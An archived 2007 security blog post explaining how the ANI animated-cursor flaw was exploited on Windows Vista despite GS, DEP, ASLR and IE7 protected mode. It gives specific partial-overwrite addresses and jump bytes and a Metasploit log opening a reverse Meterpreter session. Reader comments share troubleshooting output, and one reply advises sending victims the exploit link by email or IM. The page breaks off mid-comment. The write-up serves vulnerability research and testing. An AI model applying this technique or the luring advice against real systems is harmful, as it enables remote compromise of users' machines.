Sunday, April 1, 2007

Exploiting the ANI vulnerability on Vista

There's been some discussion going around about whether or not it's really possible to use the ANI vulnerability to execute arbitrary code on Vista. If you aren't familiar with the ANI vulnerability, go check out another great bit of work from Determina's Alexander Sotirov. HD Moore wrote the first Metasploit module for this on Friday night and we continued to improve the exploit (and add a second SMTP module) over the weekend. These modules include a default target that is able to hit both XP and Vista. Due to the nature of the vulnerability, it's possible to try multiple targets, even if they lead to a crash.

I won't go into the details of the vulnerability. You can read Alex's excellent description of the issue. Instead, this post will focus on illustrating that code execution on Vista is most definitely possible. Many would assume that this vulnerability would be stopped by one or more of GS, DEP, ASLR, and Protected Mode IE7 on Vista. That's not the case, though.

As Alex points out, the vulnerable function does not properly make use of GS. This makes it possible to trigger a traditional stack-based buffer overflow on all affected versions of Windows. In addition to GS not being present, DEP is disabled by default for Internet Explorer and Windows Explorer on 32-bit Windows Vista. This means that non-executable pages will not be enforced. And that brings us to ASLR.

On the surface, it would seem as though ASLR would be sufficient to prevent this attack from working reliably. However, due to the nature of this vulnerability, it's possible to trigger a partial overwrite of the return address on the stack. In Vista, and indeed other versions of Windows, the two low order bytes of any address in an image file mapping will not be affected by ASLR. This is due to the minimum allocation granularity in Windows. Even though partial overwrites of the return address are possible, an attacker must be able to find a useful instruction on the same 16 page block as the return address being partially overwritten. For example, if the original return address was 0x74310368, a useful instruction must be found within 0x7431XXXX. An alternative to using a partial address overwrite would be to simply brute force around 256 combinations of absolute addresses, since it's possible to trigger this issue multiple times without crashing the IE process.

One last thing that's worth mentioning. It has been proposed that low rights (protected mode) in IE7 on Vista may prevent the exploitation of this issue. First and foremost, this is not true. While it may prevent the explicit execution and interaction with certain system resources, it does not prevent arbitrary code execution. For example, the Meterpreter payload included in Metasploit is able to execute reliably, even in protected mode IE7. This is because Meterpreter does not spawn any external processes on its own. Of course, if you attempt to execute something from within Meterpreter, it will fail as a result of protected mode IE7. Even though this is the case, I think that further research may provide insight into ways of breaking out of protected mode.

So, given these facts about GS, DEP, ASLR, and protected mode IE7, it's possible to go ahead and write a functional proof of concept that will work on Vista. When triggering the vulnerability on Vista with a complete overwrite of the return address, the register state looks something like this:

eax=5f36476f ebx=0329f278 ecx=00000000 edx=00000000 esi=0329f1f0 edi=0329f1bc
eip=41414141 esp=0329f1bc ebp=66ae6c41 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
41414141 ?? ???

For XP targets, the Metasploit exploit attempts to call through [ebx+4]. The ebx register on Vista has a similar structure, where [ebx] and [ebx+4] point into the RIFF image:

0:006> db poi(ebx) L20
027d0000 52 49 46 46 eb 0e 02 00-41 43 4f 4e 4d 53 55 58 RIFF....ACONMSUX
027d0010 6e 00 00 00 e9 db 0e 02-00 64 18 d0 ae 1d b1 c9 n........d......
0:006> db poi(ebx+4) L20
027e0fb4 53 51 66 63 37 ff 00 00-ba 7b 6d 5f 20 37 54 9b SQfc7....{m_ 7T.
027e0fc4 d0 76 1a 0c aa 25 6c 46-ae 06 ee 7f 11 22 67 5b .v...%lF....."g[

There are also other contextual references that contain parts of, or point into, the RIFF image. The esp and edi registers contain the first ANI header found in the file. The esi register points to an ANIH chunk. For the purpose of this post, only the references found through the ebx register will be considered, though I did investigate these additional avenues to some degree. In Metasploit's existing ANI exploit, you'll see that HD has provided a target for Windows XP that uses a partial overwrite to point the return address at a location that contains a call [ebx+4] instruction. However, there are no immediately equivalent call [ebx+4] instructions within the required 16 page block on Vista:

0:006> s 775b154c L?ef00 ff 53 04
0:006> s 775b154c L?ef00 ff 63 04

Even though there are no call [ebx+4] instructions, there are a few jmp [ebx] instructions:

0:006> s 775b154c L?ef00 ff 13
0:006> s 775b154c L?ef00 ff 23
775b700b ff 23 c3 5f 77 2c c3 5f-77 81 e3 ff 7f ff ff e9 .#._w,._w.......
775b7bab ff 23 d2 5f 77 2c d2 5f-77 90 90 90 90 90 6a 0c .#._w,._w.....j.
775b90c6 ff 23 c1 50 56 e8 15 00-00 00 8b 4d fc 5f 33 cd .#.PV......M._3.
775c008b ff 23 ce ba 9d 02 00 00-3b ca 0f 84 7a d0 ff ff .#......;...z...
0:006> u 775b700b L1
USER32!WinStationSendMessageW+0x5c7:
775b700b ff23 jmp dword ptr [ebx]

This means that if the two low order bytes of the return address are overwritten with 0x700b, the vulnerable function will transfer control into a jmp [ebx] upon return. The jmp [ebx] will start executing code starting with the beginning of the RIFF image itself. The first four bytes of the image is the RIFF chunk tag ("RIFF"). This disassembles to four nop-equivalent instructions shown below:

0:006> u poi(ebx) L4
03040000 52 push edx
03040001 49 dec ecx
03040002 46 inc esi
03040003 46 inc esi

While these four initial bytes won't cause problems, the four bytes that follow them might. The field that follows the four byte tag is a four byte size which represents the size of the chunk, excluding the header fields. This really isn't much of a problem, though. Since we control the RIFF image that is being generated, we inherently control its size. While we can't reasonbly use all four bytes (since this would require a large RIFF), we can definitely make use of at least the two low order bytes. Padding out the RIFF chunk makes it possible to explicitly control the low order bytes.

With this in mind, the next step is to figure out exactly which instruction the low order bytes of the size field should be set to. We're fairly limited here, but a two byte short jump seems like a good option. Due to the way that the RIFF chunk is set up, its contents will look something like this in memory:

0:006> dd /c 1 poi(ebx)
03040000 46464952 RIFF tag: "RIFF"
03040004 00010eeb RIFF length
03040008 4e4f4341 ACON chunk tag: "ACON"
0304000c 4372726b Embedded chunk tag: random
03040010 0000015e Embedded chunk length: random
03040014 010edbe9 Embedded chunk data: arbitrary
03040018 e8111500 ...

Using this basic layout, we can insert a special embedded chunk as the first entry after the ACON tag. The purpose of this embedded chunk will be to act as a target for the short jump used in the RIFF length field. As such, the embedded chunk should contain additional code to execute. While it's entirely possible to have the embedded chunk contain a payload itself, the Metasploit exploit instead places a long jump that transfers control to the first byte after the end of the RIFF chunk itself. This makes the exploit uniform with XP in terms of how it executes the payload.

I know I left out a lot of details, but let's put the whole thing together. First, you can perform a partial overwrite of the return address using 0x700b. When the vulnerable function returns, it will return into a jmp [ebx] instruction. This will transfer control into the start of the RIFF image, starting with the RIFF tag. The two low order bytes of the RIFF chunk size field can be set to 0x0eeb which is a short jump +16. This short jump transfers control into the data portion of an embedded chunk. The data portion of this embedded chunk contains a relative jump to the payload that has been appended after the containing RIFF chunk.

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: 10.4.4.1:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VMVX86
OS : Windows Vista (Build 6000, ).
meterpreter > execute -f cmd
[-] stdapi_sys_process_execute: Operation failed: 5
meterpreter >

It's definitely possible (and likely) that there are cleaner ways to go about this, but this at least illustrates one way of going about it. It's clear that a partial overwrite of the return address is one of the best solutions in this case. The only major point of contention in this approach centers around what to overwrite the low order two bytes with.

14 comments:

spacer
Trirat Puttaraksa said...

Cool !! :)

At the time I release the exploit, I have no Vista test base, so I did not look for the way to make code execution on Vista. However, after I read your posts, I think heap spraying technique that I use in XP SP2 version "may be" also used to exploit this vulnerability on Vista too - does not confirmed, but I will test it.

spacer
Anonymous said...

Does DEP work against this exploit or doesn't it? You write that DEP is disabled for Explorer but what if the user actually has enabled DEP?

spacer
Anonymous said...

Where I can download this exploit for metasploit?

spacer
hdm said...

If DEP is enabled for all processes, I believe that the exploit is blocked in its current form. You can grab the new ANI exploits by using the 'Online Update' feature in the Windows version of the framework and 'svn update' in the Unix version.

spacer
Anonymous said...

The default Hardware DEP setting is "OptIn" which only protects Windows Explorer.exe. If your system supports hardware DEP (NX or XD cpu bit enabled), it will prevent exploitation inside explorer but not inside IE or the other vectors. Changing it to AlwaysOn or OptOut will protect against the other vectors.

Keep in mind that DEP can be bypassed, but not extremely trivially. Good luck.

spacer
rex69 said...

Hi there...We've been trying to use the ANI HTTP exploit in our test lab at work, but seem to be having an issue with getting this to work. Right now when we lauch the exploit, we get to this point:

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: 10.4.4.1:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >

We then try to connect our victim PC to the HTTP link provided, but nothing seems to be happening on the attacker PC (i.e. the command prompt stays the same & does display the following)

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

We've tried many ways to get this work, but we may be missing something...So if anyone is able to shed a bit more light on this that would be greatly appreciated.

Regards
Rex69

spacer
hdm said...

That "session 1 opened" message means that the exploit worked and a session was created. Use the "sessions -l" command to list active sessions and "sessions -i ID" to interact with them. Congratulations, it worked :-)

spacer
Rex69 said...

Hello All,

Thanks for the response HD...I realized after, that I missed adding a word which probably would have changed your response. Instead of saying "the command prompt stays the same & does display the following)" I meant to say " & does NOT display the following". In anycase, we did end up getting this to work, as it seemed that after doing a few updates in MSF 3 that some later iterations of the exploit did work. I just wanted to say Thanks for the great work that you do...the ease as to how we can test this, so we can proactively work towards a solution, is a great asset to the industry.

Regards
Rex69

spacer
Anonymous said...

I tried the ANI HTTP exploit to see if my machine is vulnerable but it just stays in the following screen forever without changing anything.

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: my_ip:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >

Im testing it in a WinXP Pro Version 2002 with SP2 installed.
I also tried with netcat listening on the remote port I configured the exploit for but it just stays listening there forever.

Maybe I have the DEP enabled and thats why it isnt working. How can I know if I have DEP enabled?

Regards,
Circuit

spacer
hdm said...

Once the exploit starts the listening web server, its *your* job to get a vulnerable client to connect to that web server and request the URL. Make sure you metasploit system is accessible to the victim and send them a link through whatever method is easiest (redirect from a web site, email, IM, etc).

spacer
Anonymous said...

Thanks for your answer I didn't made clear that I was checking my own system to see how vulnerable it was. So I took the link and open it with Firefox and IE but nothing happens.

Also I was playing with a poc that said it defeated the DEP and it worked, but it was written to call the system func and call whatever command we wanted with it.

I tried to make it run shellcode but after creating my file and accesing it via the explorer window a screen appears saying tha DEP detected some code trying to be run from memory.

So I think that is why the ani metasploit module didn't worked.

Regards,
Circuit

spacer
Anonymous said...

>> exploit
[*] Started reverse handler
[*] Using URL: 192.168.1.103:8080/rdDlyGT8
[*] Server started.
[*] Exploit running as background job.
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.103:4050)


>> sessions -i 1
[*] Starting interaction with 1...

(running)

>> help
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
>>
>> use stdapi
Loading extension stdapi...
[-] failure: No such file or directory - C:/Program Files/Metasploit/Framework3/framework/data/meterpreter/ext_server_-m.dll ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `initialize' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `open' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `load_library' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:156:in `use' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:249:in `cmd_use' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:237:in `each' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:237:in `cmd_use' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `send' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `run_command' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:94:in `run_command' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `each' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:60:in `interact' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:121:in `call' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:121:in `run' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:58:in `interact' ./script/../config/../config/../../../lib/msf/base/sessions/meterpreter.rb:170:in `_interact' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/interactive.rb:48:in `interact' ./script/../config/../config/../../../lib/msf/ui/console/command_dispatcher/core.rb:671:in `cmd_sessions' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `send' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `run_command' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `each' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:125:in `run' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `initialize' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `new' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `initialize' ./script/../config/../config/../../../lib/msf/ui/web/driver.rb:62:in `new' ./script/../config/../config/../../../lib/msf/ui/web/driver.rb:62:in `create_console' ./script/../config/../app/controllers/exploits_controller.rb:56:in `config' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:1095:in `send' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:1095:in `perform_action_without_filters' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:632:in `call_filter' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:619:in `perform_action_without_benchmark' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/benchmarking.rb:66:in `perform_action_without_rescue' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/benchmark.rb:293:in `measure' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/benchmarking.rb:66:in `perform_action_without_rescue' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/rescue.rb:83:in `perform_action' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:430:in `send' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:430:in `process_without_filters' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:624:in `process_without_session_management_support' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/session_management.rb:114:in `process' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:330:in `process' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/dispatcher.rb:41:in `dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:113:in `handle_dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:79:in `service' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/httpserver.rb:104:in `service' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/httpserver.rb:65:in `run' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:173:in `start_thread' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:162:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:162:in `start_thread' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:95:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:92:in `each' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:92:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:23:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:82:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:63:in `dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/commands/servers/webrick.rb:59 C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require' C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:495:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:342:in `new_constants_in' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:495:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/commands/server.rb:39 C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require' C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `require' ./script/server:3 C:/Program Files/Metasploit/Framework3/framework/msfweb:82:in `load' C:/Program Files/Metasploit/Framework3/framework/msfweb:82

Everything starts out fine. Once I issue the "use stdapi" command, it doesn't load successfully. I get a failure notice. I'm using the windows/browser/ani_imageload_chunksize sploit. Payload = windows/meterpreter/reverse_tcp.


I'm just wondering why whenever I run the command "use stdapi" to start the library, I get a failure notice. Anyone know why I'm getting this? I get the same notice on BT2 and Windows.

Sorry for the long post. I'm just really stumped with this.

spacer
Anonymous said...

nice job HD, but why is reverse_tcp not working unlike bind_tcp?

spacer
Anonymous said...

Hi All!

>> exploit


[*] Started reverse handler
[*] Using URL: 127.0.0.1:8080/rdDlcXdsSyGT8
[*] Server started.
[*] Exploit running as background job.

Right... Bu

gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.